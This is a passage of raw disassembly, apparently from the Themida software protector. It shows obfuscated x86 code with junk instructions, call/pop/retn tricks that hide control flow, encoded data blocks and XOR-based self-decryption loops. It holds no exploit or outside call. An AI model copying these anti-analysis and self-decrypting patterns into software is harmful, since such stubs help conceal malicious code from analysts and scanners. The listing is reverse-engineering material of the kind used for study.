dd 3802067Ah, 0A43070ABh, 890F9E2Bh, 15h, 10E9h, 0F9810F00h
dd 22BB1079h, 5CE6B5CEh, 8B4569ADh, 0DE8B5BF2h, 50EDEB68h
dd 0BB52508Ah, 6E82ADCDh, 6660310Fh, 890FFA8Bh, 0
; ---------------------------------------------------------------------------
popa
pop edx
pop eax
add dword ptr [esp], 75CE1614h
or ebx, 1430ED7Dh
call dword ptr [ebp+6123031h]
jnp loc_5BF93A
pusha
or [ebp+6121785h], eax
mov ecx, [ebp+6122A19h]
popa
loc_5BF93A: ; CODE XREF: Themida_:005BF926j
mov [ebp+615BD0Ch], eax
mov [ebp+6120761h], ebx
jmp loc_5BFB30
; ---------------------------------------------------------------------------
push 0
push ecx
call sub_5BF956
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BF956 proc near ; CODE XREF: Themida_:005BF94Ep
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 17h
inc ecx
push ecx
retn
sub_5BF956 endp
; ---------------------------------------------------------------------------
dw 0A70Bh
dd 0FF5E107h, 18Bh, 858BF900h, 615BD04h, 1860Fh, 0C7F50000h
dd 1800h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1604h, 0C3524200h, 0FBA12D9h, 68Dh, 6DBD8900h, 8B06121Dh
dd 15BD08B5h, 0DABF6606h, 99858BF4h, 6A061223h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
dd 0FB6C352h, 68Fh, 0A99D8B00h, 0F8061216h, 6A0689h, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
dd 268152C3h, 0FEB16ABh, 6840Fh, 0BD8B0000h, 612261Dh
dd 8BFBB70Fh, 1224CD85h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1D04h, 0C3524200h, 2DBE5474h, 168B59B1h
dd 8589B58Bh, 6121D15h, 9044689h, 121AA195h, 50609606h
dd 13E8h, 15006900h, 0C96785FAh, 92FC9744h, 7BBD70EEh
dd 596E0BB0h, 50615E5Fh, 3EC1ABBFh, 8DBF960Bh, 0FF388D07h
dd 15BD04B5h, 12E906h, 0B0F20000h, 8F324078h, 0CAC087Fh
dd 59CEDE92h, 7711F1FAh, 0FD54D368h, 0DA8B664Ch, 2C243481h
dd 664CE257h, 66BD53BFh, 858DFB8Bh, 615BD0Ch, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0C6C35242h, 519A5281h
dd 0F8BF0F73h, 8A525090h, 66310FFEh, 5A8F25BFh, 0BB665058h
dd 6A90769Ch, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1B042444h, 41000000h, 0C99CC351h, 18C7FF3h, 0BD8B828Eh
dd 61203B9h, 303195FFh, 830F0612h, 6, 13F58529h, 9D8B0612h
dd 6120F39h
; ---------------------------------------------------------------------------
loc_5BFB30: ; CODE XREF: Themida_:005BF946j
popa
jmp loc_5BFB40
; ---------------------------------------------------------------------------
dw 438h
dd 0CE95153Dh, 958EEA26h
; ---------------------------------------------------------------------------
loc_5BFB40: ; CODE XREF: Themida_:005BFB31j
mov dword ptr [ebp+6120011h], 3
push 0
push esi
call sub_5BFB55
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BFB55 proc near ; CODE XREF: Themida_:005BFB4Dp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 17h
inc esi
push esi
retn
sub_5BFB55 endp
; ---------------------------------------------------------------------------
db 7Ah, 0DAh, 80h
; ---------------------------------------------------------------------------
scasd
pusha
sub dl, 0A6h
mov edx, [ebp+61212B5h]
popa
mov edi, 576F97D9h
cmp dword ptr [ebp+615BD0Ch], 0
jz loc_5BFB93
mov edi, [ebp+61210F1h]
jmp loc_5BFBAE
; ---------------------------------------------------------------------------
mov bh, 0CAh
loc_5BFB93: ; CODE XREF: Themida_:005BFB80j
; Themida_:005BFBAAj
push eax
xor [ecx+edx], cl
add [ecx+edx+1], al
shr eax, 10h
xor [ecx+edx+2], al
add [ecx+edx+3], cl
pop eax
sub ecx, 4
jnz short loc_5BFB93
jmp short loc_5BFBE4
; ---------------------------------------------------------------------------
loc_5BFBAE: ; CODE XREF: Themida_:005BFB8Cj
; Themida_:005BFBC5j
push eax
xor [ecx+edx], al
add [ecx+edx+1], ah
shr eax, 10h
xor [ecx+edx+2], al
add [ecx+edx+3], ah
pop eax
sub ecx, 4
jnz short loc_5BFBAE
jmp short loc_5BFBE4
; ---------------------------------------------------------------------------
loc_5BFBC9: ; CODE XREF: Themida_:005BFBE0j
push eax
shr eax, 10h
sub [ecx+edx+3], ah
xor [ecx+edx+2], al
pop eax
sub [ecx+edx+1], ah
xor [ecx+edx], al
sub ecx, 4
jnz short loc_5BFBC9
jmp short $+2
loc_5BFBE4: ; CODE XREF: Themida_:005BFBACj
; Themida_:005BFBC7j
mov eax, eax
push 0
push ebp
call sub_5BFBF1
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BFBF1 proc near ; CODE XREF: Themida_:005BFBE9p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Ch
inc ebp
push ebp
retn
sub_5BFBF1 endp
; ---------------------------------------------------------------------------
adc al, [ecx-3]
sti
cmpsb
and edi, [ebp-3Dh]
pop esp
mov bh, 0C8h
push 0
push ebx
call sub_5BFC17
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BFC17 proc near ; CODE XREF: Themida_:005BFC0Fp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 18h
inc ebx
push ebx
retn
sub_5BFC17 endp
; ---------------------------------------------------------------------------
inc edi
aas
sbb edx, [ecx-7Eh]
sub bx, 0F4A5h
cmp dword ptr [ebp+6120011h], 3
jnz loc_5C00B9
push 0
push ecx
call sub_5BFC49
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BFC49 proc near ; CODE XREF: Themida_:005BFC41p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Ah
inc ecx
push ecx
retn
sub_5BFC49 endp
; ---------------------------------------------------------------------------
shr dword ptr [ebp+73h], 1
or eax, 83244548h
mov ebp, 615BD0Ch
add [edi], cl
test [esp+eax+0], cl
add [edi+58941F8Bh], bh
push dword ptr [ebp+615BD0Ch]
call dword ptr [ebp+6122029h]
mov esi, [ebp+615BD00h]
push 0
push ebx
call sub_5BFC8F
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BFC8F proc near ; CODE XREF: Themida_:005BFC87p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Dh
inc ebx
push ebx
retn
sub_5BFC8F endp
; ---------------------------------------------------------------------------
db 60h
dd 0E382E5A8h, 97E67E04h, 6810FBEh, 89000000h, 12345DB5h
dd 106C706h, 6A000100h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 19042444h, 45000000h, 0F340C355h, 0ED4A2144h
dd 16558D89h, 0BF960612h, 2CC2F6F0h, 0F525050h, 5AF98B31h
dd 6A9658h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
dd 53430000h, 115658C3h, 0CD32DEAEh, 0C780D6FBh, 860F60FDh
dd 18h, 12E8h, 0E30A9F00h, 0A3929B0Ch, 4B4D8DFFh, 36CF0412h
dd 5AD40112h, 0DE9h, 0F7784D00h, 84CFA2ADh, 295026E4h
dd 0FF6140AAh, 15BD0CB5h, 56006A06h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 833B8EB8h
dd 67BB23A5h, 0FF6A290Dh, 121AE195h, 57006A06h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 0BF0D0A69h
dd 60DD0FFFh, 0BD00B58Bh, 0BB660615h, 858BAB4Bh, 6123039h
dd 13E8h, 544B8F00h, 0CD591BC7h, 0ABB1AF10h, 0C5923D1Bh
dd 50D648E8h, 1D7D8D29h, 895F0612h, 0C486h, 55006A00h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h
dd 0AF8BC0C5h, 8B726E42h, 1231B99Dh, 0CD958B06h, 8906122Dh
dd 120EE5BDh, 0D98B6606h, 3304C283h, 122FC99Dh, 0F9958906h
dd 8906122Eh, 6A2050h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 150424h, 57470000h, 510129C3h, 0EA858D5Fh, 0F0615D0h
dd 8Fh, 3DBD8B00h, 89061234h, 0B886h, 53006A00h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h
dd 0B261F503h, 5E123514h, 0BDBD8B38h, 6A06120Eh, 57006A00h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h
dd 0DDCCE273h, 85BD89ABh, 0FF061219h, 15BD0CB5h, 8B665706h
dd 0F565FF8h, 0FF5BDBB7h, 122CD595h, 8C38006h, 6E85750h
dd 41000000h, 7E70D902h, 0F5250BAh, 5F585A31h, 2434895Fh
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0DEC35343h
dd 0BF0F4B18h, 0CB5FFD9h, 90615BDh, 121BC9B5h, 2995FF06h
dd 6A06122Eh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 16042444h, 43000000h, 0E282C353h, 0BE885h, 31D30000h
dd 4E3D9FD6h, 5A9A24Fh, 4C68BBE3h, 835B53E4h, 121189BDh
dd 840F0006h, 26h, 29DD8509h, 0F500612h, 0C89h, 52506000h
dd 585A310Fh, 0BB4B866h, 24348961h, 8EEABB66h, 2FED9D03h
dd 0B5FF0612h, 615BD0Ch, 149DBD8Bh, 85310612h, 6120035h
dd 2AA595FFh, 6A0612h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1D0424h, 55450000h, 353EEDC3h, 0BF4BD804h, 0E9ACDC0Dh
dd 8, 0B1DA15E0h, 313174E8h, 0B5FFDE8Bh, 615BD0Ch, 5CE2BB66h
dd 1BB195FFh, 6A0612h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 170424h, 56460000h, 303145C3h, 6D85897Fh, 83061214h
dd 122A41BDh, 840F0206h, 90h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 15h, 0C1C35242h, 0DBBF0FB5h, 18A9858Bh
dd 6A0612h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
dd 53430000h, 0F4845FC3h, 60B80FCCh, 0EF8018A1h, 719D8BE0h
dd 0C6061200h, 6A0000h, 3E850h
dword_5C005C dd 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
; DATA XREF: ___:off_443EACo
dd 0E855C0C3h, 13h, 0C2BC00FAh, 0DF979DFBh, 0E5CE52EDh
dd 51A59968h, 66625DE4h, 5FCC5ABFh, 30185C7h, 612h, 6A0000h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
dd 0A3494FC3h
db 7Ch
; ---------------------------------------------------------------------------
loc_5C00B9: ; CODE XREF: Themida_:005BFC38j
jmp loc_5BF3AF
; ---------------------------------------------------------------------------
mov edi, esi
mov eax, ecx
lea eax, [ebp+6120065h]
push 0
push ebx
call sub_5C00D3
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C00D3 proc near ; CODE XREF: Themida_:005C00CBp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 15h
inc ebx
push ebx
retn
sub_5C00D3 endp
; ---------------------------------------------------------------------------
db 0BFh
dd 0F195290Dh, 0F061203h, 5090DFBFh, 6800F52h, 50000000h
dd 5A310F52h, 0B3310F58h, 50585A50h, 0F8E0Fh, 8B600000h
dd 6E9FBh, 94090000h, 326BF194h, 6A9061h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 170424h, 51410000h, 0C5CBEFC3h
dd 0F006AF7h, 589h, 5C24BB00h, 6A2B57h, 0E853006Ah, 3
dd 5BC35B20h, 4245C89h, 4244481h, 1Dh, 8BC35343h, 94626808h
dd 542DF337h, 0E2858DF1h, 6A061647h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 6A6EC357h
dd 0FABF0F37h, 2CDBD89h, 0B5890612h, 6121A15h, 8905C083h
dd 121C4585h, 7BB39006h, 90FE8B50h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 17h, 0D8C35747h, 0BFA1CC26h, 786163CFh
dd 8529006Ah, 61200C5h, 0AE9h, 35C98600h, 3E859BB5h, 6A67AB1Dh
dd 0F88B6600h, 0B5595FFh, 6A0612h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 190424h, 50400000h, 0CD634FC3h, 0F57ED02h
dd 48Ch, 0BF6600h, 0CA8D8D3Ah, 8B06159Bh, 122E959Dh, 0BBD1FF06h
dd 55921062h, 0EE9BD83h, 0F010612h, 7B85h, 9FF38100h, 6A77B8BDh
dd 50006A02h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h
dd 0C3504000h, 225F0422h, 19FD8D89h, 50500612h, 0BF310F52h
dd 55660D35h, 489585Ah, 50006A24h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1404h, 0C3504000h, 0D595FFA5h, 6A06122Ch
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h
dd 47000000h, 819DC357h, 0D9DE9h, 0E800h, 815D0000h, 1647ECEDh
dd 0F3816606h, 12E81455h, 57000000h, 0CF97CD96h, 0E379EAA3h
dd 529F4505h, 3554C198h, 8D5FFC52h, 15968F85h, 51006A06h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h
dd 8BF30DB4h, 121701BDh, 0DE906h, 0A9E60000h, 57F987A1h
dd 67AD7AB2h, 903E8B21h, 50FA8B66h, 753BF66h, 52006A90h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h
dd 0CED4C2D7h, 0B7A34AB7h, 0FF64C209h, 35h, 25896400h
dd 0
; ---------------------------------------------------------------------------
mov bl, 8Ch
mov [ebp+6122031h], esi
inc dword ptr [ebp+6121235h]
add ebx, 4F22CAFDh
loc_5C0378: ; CODE XREF: Themida_:loc_5C1039j
push 0FFFFFFFFh
mov [ebp+61221CDh], eax
push dword ptr [ebp+61225B1h]
mov ebx, [ebp+6122AD5h]
call dword ptr [ebp+6121475h]
jmp loc_5C04E5
; ---------------------------------------------------------------------------
db 0E8h
dd 9
; ---------------------------------------------------------------------------
loc_5C039C: ; CODE XREF: Themida_:005C03A0j
wait
sub bh, [ebx-49h]
jno short loc_5C039C
fnstcw word ptr [eax-3A427446h]
pop ds
adc al, [esi]
pop ebx
mov al, 0
mov [ebp+6122995h], esi
; ---------------------------------------------------------------------------
dd 9D2B70E6h, 6122FADh, 5840Fh, 81660000h, 0E4FC90CBh
dd 0D5B58971h, 3C061224h, 0E830F61h, 0BB000001h, 495EA888h
dd 8BC8B60Fh, 1220D99Dh, 6BA06h, 0BF660000h, 0C18B6585h
dd 12E8h, 0C7902C00h, 424814C7h, 80E3DEC1h, 0D633271Eh
dd 5B3CB259h, 0F04E8C1h, 168Ah, 11E900h, 0F99E0000h, 0FC2594A8h
dd 6BA53B98h, 0F51053A6h, 66779A70h, 0C82BE2F7h, 30B19D89h
dd 0D18B0612h, 0AE8h, 1F828900h, 0FD59EBF8h, 8B731603h
dd 1E95BD8h, 0F9000000h, 2D99858Bh, 9D8B0612h, 6121571h
dd 6007C083h, 15A58D29h, 820F0612h, 0Fh, 0AE9h, 15F93500h
dd 6D30AFE9h, 614EE59Ch, 0F00C083h, 0D03BFBB7h, 10830Fh
dd 0BD8B0000h, 612345Dh, 54E9h, 0C7816600h, 8D8BEFDFh
dd 61223EDh, 14D1BD8Bh, 0BD090612h, 6121701h, 0F01E183h
dd 3484h, 16810F00h, 0E9000000h, 11h, 0D0AAD96Ch, 1D4DD75Ch
dd 0F913CC38h, 43360E4Bh, 0EDA5839Eh, 0FE061223h, 0CE0BF66h
dd 2D999589h, 0DC8A0612h, 0E9h
db 0
; ---------------------------------------------------------------------------
loc_5C04E5: ; CODE XREF: Themida_:005C0392j
lea esi, [ebp+615DD1Ah]
push 0
push ebp
call sub_5C04F6
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C04F6 proc near ; CODE XREF: Themida_:005C04EEp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 15h
inc ebp
push ebp
retn
sub_5C04F6 endp
; ---------------------------------------------------------------------------
pop esp
push cs
push 0
push 0
push eax
call sub_5C0515
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C0515 proc near ; CODE XREF: Themida_:005C050Dp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 18h
inc eax
push eax
retn
sub_5C0515 endp
; ---------------------------------------------------------------------------
db 6Dh, 0D6h, 0E3h
dd 0BF0FEFF8h, 952956FBh, 6121D69h, 0D195FF5Bh, 0E9061229h
dd 0Ah, 357C31D9h, 799C010Ah, 47B99D9Dh, 8B00000Eh, 1226119Dh
dd 0FCE18306h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 17h, 85C35545h, 0E921E246h, 6, 692BB5C5h, 6AFC305Bh
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 14042444h
dd 46000000h, 2B92C356h, 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1604h, 0C3554500h, 0BAF7E2F4h, 0
; ---------------------------------------------------------------------------
push 0
push ebp
call sub_5C05CF
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C05CF proc near ; CODE XREF: Themida_:005C05C7p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Ah
inc ebp
push ebp
retn
sub_5C05CF endp
; ---------------------------------------------------------------------------
db 9, 0DBh
; ---------------------------------------------------------------------------
sal dword ptr ds:66D59C3Dh, 8Bh
sti
loc_5C05E9: ; CODE XREF: Themida_:005C05F3j
lodsd
xor eax, edx
shr eax, 1
add edx, eax
sub ecx, 4
jnz short loc_5C05E9
push 0
push ebp
call sub_5C0600
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C0600 proc near ; CODE XREF: Themida_:005C05F8p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Dh
inc ebp
push ebp
retn
sub_5C0600 endp
; ---------------------------------------------------------------------------
dd 6CECEFC6h, 87E6AE29h, 9D894964h, 6122A35h, 3B6BABBFh
dd 880D2Bh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1C0424h, 57470000h, 0B60933C3h, 695BB02Bh, 0CB80F3ABh
dd 0CD958BC4h, 6606122Dh, 8D8BDA8Bh, 61231BDh, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 67C35343h, 50D1D48Bh
dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h, 4D9D8B58h
dd 6A06121Dh, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 18042444h, 42000000h, 0B98EC352h, 333055A7h, 1227DDBDh
dd 835B5306h, 121419BDh, 840F0006h, 50h, 0B8F9h, 0B70F0000h
dd 4B8D8DDAh, 6A06124Eh, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1A042444h, 40000000h, 0BBFBC350h, 3529052Fh
dd 0BD895195h, 6122009h, 0BE95Bh, 0B5980000h, 4FA1E100h
dd 52D855DFh, 66E1FFCBh, 86FDE781h, 11BD83h, 0F000612h
dd 47684h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1C04h, 0C3534300h, 3D6975D2h, 869E628h, 819D8BE6h, 89061234h
dd 120C7985h, 11BD8306h, 1061200h, 454840Fh, 7E80000h
dd 50000000h, 0BE409405h, 820FA561h, 0
; ---------------------------------------------------------------------------
pop edi
cmp dword ptr [ebp+6120011h], 3
jbe loc_5C0B84
push 0
push ebp
call sub_5C0791
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C0791 proc near ; CODE XREF: Themida_:005C0789p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Ah
inc ebp
push ebp
retn
sub_5C0791 endp
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
dw 0BE5h
; ---------------------------------------------------------------------------
lea esp, [ecx]
mov cl, 85h
mov [ebp+6121731h], ecx
pusha
xor di, 7064h
mov cx, ds
push 0
push edx
call sub_5C07C2
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C07C2 proc near ; CODE XREF: Themida_:005C07BAp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 19h
inc edx
push edx
retn
sub_5C07C2 endp
; ---------------------------------------------------------------------------
inc eax
mov dword ptr [edi], 0FB560CCh
mov bh, 0D8h
jns loc_5C07E7
or [ebp+6121375h], esi
loc_5C07E7: ; CODE XREF: Themida_:005C07DBj
and cl, 4
push 0
push ecx
call sub_5C07F5
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C07F5 proc near ; CODE XREF: Themida_:005C07EDp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 15h
inc ecx
push ecx
retn
sub_5C07F5 endp
; ---------------------------------------------------------------------------
jb short loc_5C0884
mov ebx, [ebp+61215C5h]
or cl, cl
jz loc_5C0973
add bx, 3E9Ah
pusha
push ecx
call near ptr loc_5C082A+1
setalc
mov ebx, 0B2DABCB8h
aas
pushf
pop edi
loc_5C082A: ; CODE XREF: Themida_:005C081Cp
mov bl, [edx+5Ah]
push ebx
sub [ebp+6122DFDh], eax
pop ebx
popa
mov eax, [ebp+61224CDh]
push 0
push edx
call sub_5C0847
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C0847 proc near ; CODE XREF: Themida_:005C083Fp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Ch
inc edx
push edx
retn
sub_5C0847 endp
; ---------------------------------------------------------------------------
db 1Ah
dd 94400AEAh, 7B9B63DDh, 8533F88Ah, 612248Dh, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 69C35646h
; ---------------------------------------------------------------------------
loc_5C0884: ; CODE XREF: Themida_:005C0805j
std
xchg eax, ebx
into
mov ah, 27h
stc
mov bh, 0Fh
std
movzx edi, di
nop
push eax
pusha
pusha
jno $+6
push esi
pop eax
popa
popa
nop
push 0
push eax
call sub_5C08AA
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C08AA proc near ; CODE XREF: Themida_:005C08A2p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 19h
inc eax
push eax
retn
sub_5C08AA endp
; ---------------------------------------------------------------------------
cwde
cmp fs:0BE60407Bh, ch
pop dword ptr [edx+799D8B43h]
pop es
adc al, [esi]
popa
mov ebx, [ebp+6120385h]
push 0
mov ebx, edi
push 137A3258h
pusha
mov ax, 0EEDBh
mov ax, 1E5Bh
popa
xor dword ptr [esp], 136531A7h
jmp loc_5C0904
; ---------------------------------------------------------------------------
mov ah, 5Ch
wait
retn 8170h
; ---------------------------------------------------------------------------
dd 72AD47D4h, 12264681h, 0DCF065D1h
; ---------------------------------------------------------------------------
loc_5C0904: ; CODE XREF: Themida_:005C08EDj
call dword ptr [ebp+6123031h]
and ebx, [ebp+612122Dh]
mov [ebp+615BD0Ch], eax
push 0
push edx
call sub_5C0921
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C0921 proc near ; CODE XREF: Themida_:005C0919p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 18h
inc edx
push edx
retn
sub_5C0921 endp
; ---------------------------------------------------------------------------
db 7Fh, 0Dh, 1Ch
dd 0C1B7635Ah, 1EDE9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1804h, 0C3524200h, 0FC66A36Bh, 31605653h
dd 121D61BDh, 0A1BD8B06h, 61061212h, 0B1BD895Bh
db 28h, 12h, 6
; ---------------------------------------------------------------------------
loc_5C0973: ; CODE XREF: Themida_:005C080Fj
mov eax, [ebp+615BD04h]
push 0
push esi
call sub_5C0984
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C0984 proc near ; CODE XREF: Themida_:005C097Cp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 15h
inc esi
push esi
retn
sub_5C0984 endp
; ---------------------------------------------------------------------------
push esi
or [ebx+121E05BDh], cl
push es
mov dword ptr [eax], 18h
push 0
push eax
call sub_5C09AD
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C09AD proc near ; CODE XREF: Themida_:005C09A5p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 15h
inc eax
push eax
retn
sub_5C09AD endp
; ---------------------------------------------------------------------------
das
pop ebx
call near ptr loc_5C09CF+3
mov word ptr [ebx], cs
stosb
pop edx
mov eax, ds:9AA7A8D2h
adc al, 1Dh
loc_5C09CF: ; CODE XREF: Themida_:005C09BFp
mov ecx, 0F98A2D54h
pop ebx
mov esi, [ebp+615BD08h]
push 0
push eax
call sub_5C09E6
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C09E6 proc near ; CODE XREF: Themida_:005C09DEp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Bh
inc eax
push eax
retn
sub_5C09E6 endp
; ---------------------------------------------------------------------------
dw 1B63h
; ---------------------------------------------------------------------------
xor eax, 0C4E16D5Fh
sbb [ecx+1217159Dh], ecx
push es
mov edi, [ebp+612290Dh]
mov eax, [ebp+6122399h]
or ebx, [ebp+6122675h]
mov [esi], eax
push 0
push eax
call sub_5C0A23
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C0A23 proc near ; CODE XREF: Themida_:005C0A1Bp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Bh
inc eax
push eax
retn
sub_5C0A23 endp
; ---------------------------------------------------------------------------
db 0E9h
dd 0D8ED5DB1h, 8B35A43Ah, 122E099Dh, 5BD0306h, 8B061219h
dd 1224CD85h, 6E806h, 1E1C0000h, 703D816Bh, 0C6672DBBh
dd 0BF665B77h, 46890842h, 53006A04h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 400760AEh
dd 617301EBh, 0F5097C0h, 288h, 89DF8B00h, 810F2434h, 0
; ---------------------------------------------------------------------------
push dword ptr [ebp+615BD04h]
xor edi, [ebp+61200DDh]
push 4FE92F6Bh
ja loc_5C0AB6
mov bx, dx
loc_5C0AB6: ; CODE XREF: Themida_:005C0AADj
xor dword ptr [esp], 4FF62C94h
push 0
push eax
call sub_5C0AC8
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C0AC8 proc near ; CODE XREF: Themida_:005C0AC0p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Dh
inc eax
push eax
retn
sub_5C0AC8 endp
; ---------------------------------------------------------------------------
dd 728D42DCh, 9469FAA1h, 6E96A34h, 7E000000h, 4EDB119h
dd 0C858D50h, 660615BDh, 50B66CBBh, 66240489h, 0FF8595BFh
dd 12303195h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1B04h, 0C3534300h, 0A43E7AADh, 473DEE69h, 8961D4B7h
dd 1218F1B5h, 1185C706h, 3061200h, 1000000h, 12075195h
dd 0CBD8306h, 615BDh, 36840Fh, 6A0000h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 190424h, 55450000h, 99B80EC3h
dd 0E931DA95h, 2Bh, 0BE9h, 0B1611200h, 6C4275C5h, 27CB2127h
; ---------------------------------------------------------------------------
loc_5C0B84: ; CODE XREF: Themida_:005C0780j
; Themida_:005C0B9Bj
push eax
xor [ecx+edx], cl
add [ecx+edx+1], al
shr eax, 10h
xor [ecx+edx+2], al
add [ecx+edx+3], cl
pop eax
sub ecx, 4
jnz short loc_5C0B84
jmp short loc_5C0BD5
; ---------------------------------------------------------------------------
loc_5C0B9F: ; CODE XREF: Themida_:005C0BB6j
push eax
xor [ecx+edx], al
add [ecx+edx+1], ah
shr eax, 10h
xor [ecx+edx+2], al
add [ecx+edx+3], ah
pop eax
sub ecx, 4
jnz short loc_5C0B9F
jmp short loc_5C0BD5
; ---------------------------------------------------------------------------
loc_5C0BBA: ; CODE XREF: Themida_:005C0BD1j
push eax
shr eax, 10h
sub [ecx+edx+3], ah
xor [ecx+edx+2], al
pop eax
sub [ecx+edx+1], ah
xor [ecx+edx], al
sub ecx, 4
jnz short loc_5C0BBA
jmp short $+2
loc_5C0BD5: ; CODE XREF: Themida_:005C0B9Dj
; Themida_:005C0BB8j
mov eax, eax
mov edi, [ebp+61226E9h]
push 0
push edx
call sub_5C0BE8
and [edx-3Dh], bl
